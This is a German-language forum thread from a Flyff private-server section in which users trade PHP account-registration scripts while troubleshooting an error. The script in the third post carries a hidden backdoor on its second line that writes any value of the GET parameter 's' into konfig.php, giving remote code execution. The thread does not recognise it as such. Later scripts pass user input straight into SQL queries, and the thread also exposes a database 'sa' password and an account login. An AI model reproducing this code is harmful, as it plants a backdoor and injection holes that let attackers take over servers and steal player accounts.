|
You last visited: Today at 00:14
Advertisement
hilfe bei regi bite
Discussion on hilfe bei regi bite within the Flyff Private Server forum part of the Flyff category.
05/17/2011, 16:47
|
#1
|
elite*gold: 20
Join Date: Apr 2011
Posts: 86
Received Thanks: 48
|
hilfe bei regi bite
brauche hilfe bei regi bekomme immer ein fehler beim register !!
Notice: Undefined index: s in C:\xampp\htdocs\new\register.php on line 2
skype: blackout-ffl
|
|
|
05/17/2011, 17:03
|
#2
|
elite*gold: 0
Join Date: Oct 2010
Posts: 4,172
Received Thanks: 1,702
|
Habe dir einen Account erstellt.
Benutzername: blackoutflyff
Passwort: blackout
Änder das Passwort & die E-Mail und sag mir bescheid wenn ich alles mit meiner E-Mail bestätigen soll.
|
|
|
05/17/2011, 17:20
|
#3
|
elite*gold: 20
Join Date: Apr 2011
Posts: 86
Received Thanks: 48
|
<?php
if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}
if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Register Successfull.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}
echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';
?>
</center>
|
|
|
05/21/2011, 17:50
|
#4
|
elite*gold: 45
Join Date: Mar 2010
Posts: 1,564
Received Thanks: 350
|
welche version von xampp benutzt du?
du brauchst xampp 1.7.3 weil danach xampp nicht mehr kompatibel mit mssql ist!
außerdem musst du mysql aktiviert haben + in der php.ini was ändern. Ich kann es dir machen oder guck dich mal im forum um, da gibt es tuts!
|
|
|
05/21/2011, 18:03
|
#5
|
elite*gold: 0
Join Date: Oct 2009
Posts: 4,851
Received Thanks: 3,417
|
A hard way to learn the rules...
#moverequest to PServer Section
V14 :
register.php
PHP Code:
<?php include "functions.php";
if(isset($_POST['submit'])) { $server = "PCNAMESQLEXPRESS"; $user = "sa"; $pass= "PASSWORT";
$username = strtolower(trim(htmlspecialchars(addslashes($_POST['username'])))); $password = md5("kikugalanet".$_POST['password']);
################################################## ###########
if(strlen($username) < 4 || strlen($username) > 16) { die("Dein Benutzername ist zu kurz/lang .<br>Er muss zwischen <b><u>4 und 16</u></b> Zeichen lang sein ."); }
if(strlen($_POST['password']) < 4 || strlen($_POST['password']) > 16) { die("Dein Passwort ist zu kurz/lang .<br>Es muss zwischen <b><u>4 und 16</u></b> Zeichen lang sein ."); }
################################################## ###########
$conn = mssql_connect($server,$user,$pass);
if(!$conn) { die("Connection failed!<br>"); }
$select = mssql_select_db("ACCOUNT_DBF",$conn);
if(!$select) { die("Can't select Database!<br>"); }
################################################## ###########
if(exist($username) != '0') { die ("Der Benutzername ".$username." wird schon benutzt ."); }
################################################## ###########
$bind = mssql_init("createaccount",$conn);
if(!$bind) { die("Couldn't Bind Variables.<br>"); }
$acc = $username; $pass = $password; $ipadress = $ip;
mssql_bind($bind, '@account' , $acc , SQLVARCHAR); mssql_bind($bind, '@password', $pass, SQLVARCHAR);
$execute = mssql_execute($bind);
if($execute) { echo 'Account wurde <font color="green">erfolgreich</font> erstellt !'; } else { echo 'Account erstellung<font color="red">fehlgeschlagen</font> !'; }
mssql_close($conn); } else {
?> <center> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> <table> <tr> <td colspan="2" align ="center"> <h3>Account erstellen</h3> </td> </tr> <tr> <td align ="right"> Account : </td> <td> <input type="text" size="20" name="username" maxlength="15" /> </td> <td> </td> </tr> <tr> <td align ="right"> Passwort : </td> <td> <input type="password" size="20" name="password" maxlength="32" /> </td>
</tr> <tr> <td colspan="2" align="center"> <input type="submit" name="submit" value="Account erstellen" /> </td> </tr> </table> </form> </center> <?php } ?>
functions.php
PHP Code:
<?php
function exist($account){ $sql = "SELECT * FROM ACCOUNT_TBL WHERE account='".$account."'"; $result = mssql_query($sql); if(!$result) { die("MSSQL Error"); } $check = mssql_num_rows($result); return $check; }
function existip($ip){ $sql = "SELECT * FROM ACCOUNT_TBL_DETAIL WHERE ip='".$ip."'"; $result = mssql_query($sql); if(!$result) { die("MSSQL Error"); } $check = mssql_num_rows($result); return $check; }
?>
Danny95 :
Quote:
<h3 class="title"></h3>
<div id="text">
<?php
function exist($account){
$sql = "SELECT * FROM ACCOUNT_TBL WHERE account='".$account."'";
$result = mssql_query($sql);
if(!$result) {
die("MSSQL Error");
}
$check = mssql_num_rows($result);
return $check;
}
if(isset($_POST['submit']))
{
$server = "PROGRAMMING-PC\SQLExpress";
$user = "sa";
$pass= "Zkowcvrzhtq5";
$username = $_POST['username'];
//$password = md5("kikugalanet".$_POST['password']);
$password = $_POST['password'];
$password2 = $_POST['password2'];
$ip = trim(htmlspecialchars($_POST['ip']));
################################################## ###########
if(strlen($username) < 4 ||
strlen($username) > 16)
{
die("Dein Benutzername ist zu kurz/lang .<br>Er muss zwischen <b><u>4 und 16</u></b> Zeichen lang sein .");
}
if(strlen($_POST['password']) < 4 ||
strlen($_POST['password']) > 16)
{
die("Dein Passwort ist zu kurz/lang .<br>Es muss zwischen <b><u>4 und 16</u></b> Zeichen lang sein .");
}
if($password != $password2)
{
die("Die Passwˆrter stimmen nich ¸berein.");
}
if (preg_match('/[^a-zA-Z0-9]/',$username))
{
die("Der Benutzername enthält unerlaubte Zeichen.");
}
if (preg_match('/[^a-zA-Z0-9]/',$password))
{
die("Das Passwort enthält unerlaubte Zeichen.");
}
################################################## ###########
$conn = mssql_connect($server,$user,$pass);
if(!$conn)
{
die("Connection failed!<br>");
}
$select = mssql_select_db("ACCOUNT_DBF",$conn);
if(!$select)
{
die("Can't select Database!<br>");
}
################################################## ###########
if(exist($username) != '0')
{
die ("Der Benutzername ".$username." wird schon benutzt .");
}
################################################## ###########
// $username = strtolower($username);
//$password = strtolower($password);
$password = md5('kikugalanet' . $password);
$ipadress = $ip;
mssql_query("USE [ACCOUNT_DBF]
SET NOCOUNT ON
INSERT INTO ACCOUNT_TBL (account, password, id_no1, id_no2, isuse, member, realname, cash)
VALUES ('$username', '$password', '$password', '$password', 'T', 'A', 'F', '1000')
INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse, email)
VALUES ('$username', 'A000', '2', 'F', '17.04.2010', '17.04.2010', '20990101', '20050101', 'O', '$email')");
if($execute)
{
echo 'Account wurde <font color="green">erfolgreich</font> erstellt !';
}
else
{
echo 'Account wurde <font color="green">erfolgreich</font> erstellt !';
}
mssql_close($conn);
}
else
{
?>
<center>
<form action="register.php" method="post">
<table>
<tr>
<td colspan="2" align ="center">
<h3>Account erstellen</h3>
</td>
</tr>
<tr>
<td align ="right">
Account :
</td>
<td>
<input type="text" size="20" name="username" maxlength="15" />
</td>
<td> </td>
</tr>
<tr>
<td align ="right">
Passwort :
</td>
<td>
<input type="password" size="20" name="password" maxlength="32" />
</td>
</tr>
<tr>
<td align ="right">
Passwort widerh. :
</td>
<td>
<input type="password" size="20" name="password2" maxlength="32" />
</td>
</tr>
<tr>
<td>
<input type="hidden" size="20" name="ip" maxlength="32" value="<?php echo $_SERVER['REMOTE_ADDR']; ?>"/>
</td>
</tr>
<tr>
<td colspan="2" align="center">
<input type="submit" name="submit" value="Account erstellen" />
</td>
</tr>
</table>
</form>
</center>
<?php
}
?>
</div>
<?php include "include/bottom.php";?>
<br>
<br>
<br>
|
V15:
Register.php
PHP Code:
<?php require('./configs/reg_conf.php'); function doesUsernameExist($name){ $exit = FALSE; $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'"); if (mssql_num_rows($result) != 0){ $exit = TRUE; } return $exit; }
if(isset($_POST['submit'])){ $user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']); $pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']); if($_POST['username'] == ""){ echo '<font color="red">Enter a user.</font><br /><br />'; } else if($_POST['password'] == ""){ echo '<font color="red">Enter a password.</font><br /><br />'; } else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){ echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />'; } else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){ echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />'; } else if($_POST['username'] != $user){ echo '<font color="red">User with invalid characters.</font><br /><br />'; } else if($_POST['password'] != $pass){ echo '<font color="red">Password with invalid characters.</font><br /><br />'; } else { $pass = md5('kikugalanet' . $pass); if(!doesUsernameExist($user)){ $stmt = mssql_init('webCreateAcc', $link); mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15); mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36); mssql_bind($stmt, '@birthday', $bday, SQLVARCHAR, false, false, 120); mssql_free_statement($stmt); echo '<font color="Green">Register Successfull.</font><br /><br />'; } else { echo '<font color="red">User already Exist.</font><br /><br />'; } } mssql_close(); } echo '<form action="#" method="post">'; echo 'Username: <input type="text" name="username" /><br />'; echo 'Password: <input type="password" name="password" /><br />'; echo 'Birthday: <input type="birthday" name="birthday" /><br />'; echo '<input type="submit" name="submit" value="Register" />'; echo '</form>';
?>
configs/function.php
PHP Code:
<?php
function exist($account){ $sql = "SELECT * FROM ACCOUNT_TBL WHERE account='".$account."'"; $result = mssql_query($sql); if(!$result) { die("MSSQL Error"); } $check = mssql_num_rows($result); return $check; }
function existip($ip){ $sql = "SELECT * FROM ACCOUNT_TBL_DETAIL WHERE ip='".$ip."'"; $result = mssql_query($sql); if(!$result) { die("MSSQL Error"); } $check = mssql_num_rows($result); return $check; }
?>
configs/reg_conf.php
PHP Code:
<?php $link = @mssql_connect("PCNAMESQLEXPRESS", "sa", "PASSWORT") or die ("Server is down!"); $db = @mssql_select_db('ACCOUNT_DBF') or die ("Accout table is missing!"); $b = ''; $mail = ''; ?>
|
|
|
05/21/2011, 19:08
|
#6
|
elite*gold: 260
Join Date: Nov 2007
Posts: 12,855
Received Thanks: 4,319
|
moved
|
|
|
 |
Similar Threads
|
Brauche bite dringent HILFE
08/11/2010 - Kal Online - 16 Replies
Unzwar baruche ich für mein Privat Server 3 exen die ich nicht finden kann könnte mir jemand vielleicht mal HELFEN
1:AuthSvrt.exe
2: DbSvrT.exe
3:MainSvrT.exe
Brauche umbedingt diese Exe
Danke schonmal im vorraus
|
Captchaa bite hilfe
05/13/2010 - Metin2 Private Server - 11 Replies
könnte einer mir das lösen??
ist nen betha server sage auch hp wenn ihr löst
http://img191.imageshack.us/img191/6189/unbenannt bv.png
|
HILFE......bite helt mir
02/18/2010 - Metin2 Private Server - 4 Replies
ich finds ja super das der server klappt und ach das ich alle kann aber ich würde das ganze gerne ohne hamachi machen....habe da ne anleitung gefunden die jedoch nicht klappt (http://www.pserver4you.de.tl/Server-ohne-Hamachi. htm)...kann ir da einer auf die sprünge helfen??...
danke lukas
|
hilfe bite für openkore
05/29/2006 - Ragnarok Online - 2 Replies
ich brau hilfe wegen mackro ich habe openkore aber ich kann die config ein stelungung nich kann jemand mir helfen ?
Also mein bot sammelt in "@warp gef_dun03" items und nach sammelen geht bot zu Verkaufen dann bleibt es daa aber ich will das bott wider zürück nach "@warp gef_dun03" teleportet. wie kann ich das denn einstelen.
und ich möchte das bot bestimmte monstern angrieft ist das möglich.
|
All times are GMT +1. The time now is 00:15.
|
|